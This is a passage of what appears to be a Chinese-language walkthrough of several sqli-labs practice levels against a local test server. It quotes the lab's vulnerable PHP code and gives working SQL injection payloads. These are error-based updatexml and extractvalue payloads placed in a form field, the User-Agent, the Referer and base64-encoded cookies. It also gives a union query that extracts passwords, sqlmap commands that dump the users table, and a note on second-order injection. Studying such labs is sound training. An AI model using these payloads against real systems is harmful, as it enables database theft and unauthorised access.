uname=admin&passwd=admin&submit=Submit
<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);
function check_input($value) { if(!empty($value)) { // truncation (see comments)截断15位 $value = substr($value,0,15); }
// Stripslashes if magic quotes enabled 如果打开了魔法开关,会自动转义 if (get_magic_quotes_gpc()) { // 将反斜杠去掉 $value = stripslashes($value); }
// Quote if not a number if (!ctype_digit($value)) { // 自动转义 $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }
_POST['passwd'];
UPDATE users SET password = 'passwd' where username='row1';
uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit
uname=admin&passwd=' and extractvalue(null,concat(0x7e,database(),0x7e))#&submit=Submit
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
1.同理,本关的注入点在Referer参数,payload一样只是参数位置不同
1.同理,本关的注入点在cookie参数,payload一样只是参数位置不同
Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1
1.同理,本关的注入点在cookie参数,和上一关payload一样只是编码方式不同
uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d
1.同理,本关的注入点在cookie参数,和上一关payload一样只是双引号闭合方式
uname=YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgIjEiID0gIjE%3d
sqlmap -r "2.txt" -D security -T users --columns --dump --batch --technique E --batch --level 3 --threads 10
sqlmap -u "http://127.0.0.1/sqlilabs2/Less-18/" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' and '1'='1" --level 3 --threads 10 --dbms mysql --fresh-queries --flush-session -D security -T users --columns --dump --batch --technique E
level: 设置检测的方方面面和测试用例 - 默认是1,会尝试POST和GET - 2:Cookie也会加入检测 - 3:User-Agent和Referer也会检测, 更大的值会增加用例量
指定User-Agent
指定请求的内容
指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例.
fresh-queries会忽略之前的查询结果,进行重新请求操作
flush-session会清空当前URL相关的session
$reg = "/#/";$reg1 = "/--/";$replace = "";$id = preg_replace($reg, $replace, $id);$id = preg_replace($reg1, $replace, $id);$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1
if (isset($_POST['submit'])){ # Validating the user input........ $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); echo '<font size="3" color="#FFFF00">'; echo '<center>'; if($row==1) { echo "Password successfully updated"; } else { header('Location: failed.php'); //echo 'You tried to be smart, Try harder!!!! :( '; } } else { echo '<font size="5" color="#FFFF00"><center>'; echo "Make sure New Password and Retype Password fields have same value"; header('refresh:2, url=index.php'); }}
因为没有报错注入的条件,时间盲注有点漫长可以尝试脚本注册然后再注入,确实有点麻烦
但本题目的是:对于存储型的注入,可以先将导致SQL注入的字符预先存到数据库中,当再次调用到这个恶意构造的字符时就可以触发注入